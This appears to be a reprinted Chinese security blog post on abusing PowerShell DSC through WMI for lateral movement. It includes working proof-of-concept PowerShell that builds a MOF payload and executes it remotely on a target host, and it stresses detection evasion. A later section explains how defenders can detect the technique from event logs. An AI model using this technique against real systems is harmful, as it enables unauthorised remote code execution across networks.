如何滥用PowerShell DSC进行横向渗透

栏目: 编程工具 · 发布时间: 6年前

内容简介:PowerShell的1、PowerShell会在WMIC服务程序wmiprvse.exe的上下文环境中执行。传统的调用Win32_Process的Create方法会通过wmiprvse.exe创建子进程且带有命令行特征,因此从规避检测的角度来看,这种方法具备一定的优势(至少在本文发表以前)。

如何滥用PowerShell DSC进行横向渗透

一、基本描述

PowerShell的 期望状态配置(Desired State Configuration,DSC) 可以让我们 使用WMI 来直接执行 资源 。通过DSC WMI类,我们可以滥用 内置脚本资源 来实现PowerShell代码的远程执行。这种横向渗透技术有如下几个有点:

1、PowerShell会在WMIC服务程序wmiprvse.exe的上下文环境中执行。传统的调用Win32_Process的Create方法会通过wmiprvse.exe创建子进程且带有命令行特征,因此从规避检测的角度来看,这种方法具备一定的优势(至少在本文发表以前)。

2、载荷的所有组件都仅依赖于WMI。

3、我们并不需要使用DSC服务的配置(甚至无需了解相关知识)。

二、具体需求

1、MSFT_DSCLocalConfigurationManager这个WMI类中必须存在ResourceTest方法,该类位于root/Microsoft/Windows/DesiredStateConfiguration命名空间中。注意:攻击者也可以选择调用ResourceGet或者ResourceSet方法。PowerShell DSC从PowerShell v4中开始引入,因此并非所有主机都可以使用这种技术。

2、默认情况下,我们必须具备管理员凭据才能远程调用WMI方法。在远程调用时,WMI受 DCOM 或者 WSMan 安全设置的保护。建立远程连接后,WMI本身通过与特定 命名空间 对应的安全描述符进行保护,在这种场景中,该命名空间为root/Microsoft/Windows/DesiredStateConfiguration。

三、PoC

第一个步骤是准备待执行的载荷。我们想在目标上执行的PowerShell代码必须采用 MOF 格式。在目标上执行的某个示例载荷如下所示:

$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
    ResourceID = "[Script]ScriptExample";
    GetScript = ""$(Get-Date): I am being GET"     | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    TestScript = ""$(Get-Date): I am being TESTED" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    SetScript = ""$(Get-Date): I am being SET"     | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    SourceInfo = "::3::5::Script";
    ModuleName = "PsDesiredStateConfiguration";
    ModuleVersion = "1.0";
    ConfigurationName = "ScriptTest";
};

instance of OMI_ConfigurationDocument
{
    Version="2.0.0";
    MinimumCompatibleVersion = "1.0.0";
    CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
    Author="TestUser";
    GenerationDate="02/26/2018 07:09:21";
    GenerationHost="TestHost";
    Name="ScriptTest";
};
'@

实际上,这里我们所需修改的唯一特征就是PowerShell载荷。在我们的示例中,我们将调用ResourceTest方法,该方法对应的是TestScript属性中的载荷。需要注意的是我们需要转义处理特殊字符。MOF自动化生成及载荷转义处理是可以自动化完成的操作。

下一个步骤是将MOF转化为二进制形式(ResourceTest方法所期望的数据格式):

# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True

$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)

if ($ExecuteRemotely) {
    # Prepend the length of the payload
    [Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
    # If executing locally, you do not prepend the payload length
    [Byte[]] $MOFBytes = $NormalizedMOFBytes
}

在上述代码中需要注意的是,如果我们在本地测试载荷,则无需将载荷长度添加到byte数组中。现在我们已经正确编码载荷,接下来只需要在目标上执行载荷即可。

# Specify the credentials of your target
$Credential = Get-Credential -Credential TempUser
$ComputerName = 'TargetHost'

# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential

$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession

if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
    # You may now proceed with lateral movement

    $MethodArgs = @{
        ModuleName       = 'PSDesiredStateConfiguration'
        ResourceType     = 'MSFT_ScriptResource'
        resourceProperty = $MOFBytes
    }

    $Arguments = @{
        Namespace  = 'root/Microsoft/Windows/DesiredStateConfiguration'
        ClassName  = 'MSFT_DSCLocalConfigurationManager'
        MethodName = 'ResourceTest'
        Arguments  = $MethodArgs
        CimSession = $RemoteCIMSession
    }

    # Invoke the DSC script resource Test method
    # Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
    Invoke-CimMethod @Arguments

} else {
    Write-Warning 'The DSC lateral movement method is not available on the remote system.'
}

在上述例子中,请注意我在执行之前首先验证了远程类以及方法是否存在。在使用WMI技术时,我建议大家在最终执行之前首先验证目标类和方法是否存在。

以上就是主要内容。我刻意介绍了个大概,在其他内容或者具体操作方面给大家留下较大空间。在这个例子中,载荷执行结果会在本地落盘。如果我们想通过WMI远程获取文件内容,可以参考 此处 介绍的方法。此外,在上述例子中,我使用了PSv3中才引入的CMI cmdlets,如果想兼容v2,大家也可以改造代码以适配老版WMI cmdlets。

四、发现过程

我是在学习DSC的基础知识时偶然发现了这种技术。我在网上找到了一篇 文章 ,文中讨论了如何使用WMI来直接调用DSC资源。我对WMI有所了解,因此这篇文章一下子引燃了我对这方面内容的兴趣。该文章演示了如何调用内置的文件资源,因此我只需要澄清如何调整细节,以便适用于脚本资源即可。

五、检测方法

幸运的是,如果我们能够获取事件日志,那么就有很多机会可以检测到这类技术。

Microsoft-Windows-PowerShell/Operational事件日志

53504事件

PowerShell Named Pipe IPC事件将告诉我们已启动的PowerShell AppDomain的名称。当DSC执行脚本资源时,该事件会自动捕捉DscPsPluginWkr_AppDomain AppDomain,顾名思义,这是DSC执行所特有的名称。典型事件如下:

Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain: DscPsPluginWkr_AppDomain.

4104事件

该事件与PowerShell v5脚本块(ScriptBlock)日志有关。攻击者可以轻松规避ScriptBlock的自动日志机制,但如果启用了全局ScriptBlock日志,那么攻击者的载荷操作基本上都会被记录在案。ScriptBlock日志不仅会记录下执行的载荷,也会捕捉与执行内置脚本资源有关的帮助程序代码。

调用脚本资源时被捕捉到的一些ScriptBlock数据样例如下所示:

# Localized 04/11/2018 02:09 PM (GMT) 303:4.80.0411 MSFT_ScriptResourceStrings.psd1 # Localized MSFT_ScriptResourceStrings.psd1 ConvertFrom-StringData @' ###PSLOC SetScriptWhatIfMessage=Executing the SetScript with the user supplied credential InValidResultFromGetScriptError=Failure to get the results from the script in a hash table format. InValidResultFromTestScriptError=Failure to get a valid result from the execution of TestScript. The Test script should return True or False. ScriptBlockProviderScriptExecutionFailureError=Failure to successfully execute the script. GetTargetResourceStartVerboseMessage=Begin executing Get Script. GetTargetResourceEndVerboseMessage=End executing Get Script. SetTargetResourceStartVerboseMessage=Begin executing Set Script. SetTargetResourceEndVerboseMessage=End executing Set Script. TestTargetResourceStartVerboseMessage=Begin executing Test Script. TestTargetResourceEndVerboseMessage=End executing Test Script. ExecutingScriptMessage=Executing Script: {0} ###PSLOC '@

Windows PowerShell事件日志

400事件

在典型的PowerShell日志中,ID为400的事件表明系统中启动了一个新的PowerShell宿主进程。当DSC脚本资源执行时,会生成独特的事件日志条目,我们可以轻松定位。典型例子如下:

Engine状态从None变为Available。

Details: 
 NewEngineState=Available
 PreviousEngineState=None

 SequenceNumber=13

 HostName=Default Host
 HostVersion=5.1.17134.81
 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d
 HostApplication=C:Windowssystem32wbemwmiprvse.exe
 EngineVersion=5.1.17134.81
 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906
 PipelineId=
 CommandName=
 CommandType=
 ScriptName=
 CommandPath=
 CommandLine=

PowerShell宿主进程在wmiprvse.exe上下文中启动(参考HostApplication字段),这可能是环境中(特别是工作站上)非常独特的一个特征。

Microsoft-Windows-DSC/Operational事件日志

4102事件

该事件表明某个DSC资源被发送到某个表上。该事件可以为我们提供执行DSC资源的用户SID以及来源主机信息(如果主机位于域环境中)。典型事件如下所示:

Job {893F64B5-ABBF-11E8-B005-D336977413FC} : 
Operation Invoke-DscResource started by user sid S-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.

六、总结

我录制了一个 视频 ,演示了如何使用DSC进行横向渗透,以及如何仅依赖WMI来远程获取文件内容。

大家可以访问 此处 下载演示代码,祝大家玩得开心。


以上所述就是小编给大家介绍的《如何滥用PowerShell DSC进行横向渗透》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法的陷阱

算法的陷阱

阿里尔•扎拉奇 (Ariel Ezrachi)、莫里斯•E. 斯图克 (Maurice E. Stucke) / 余潇 / 中信出版社 / 2018-5-1 / CNY 69.00

互联网的存在令追求物美价廉的消费者与来自世界各地的商品只有轻点几下鼠标的距离。这诚然是一个伟大的科技进步,但却也是一个发人深思的商业现象。本书中,作者扎拉奇与斯图克将引领我们对由应用程序支持的互联网商务做出更深入的检视。虽然从表面上看来,消费者确是互联网商务兴盛繁荣过程中的获益者,可精妙的算法与数据运算同样也改变了市场竞争的本质,并且这种改变也非总能带来积极意义。 首当其冲地,危机潜伏于计算......一起来看看 《算法的陷阱》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具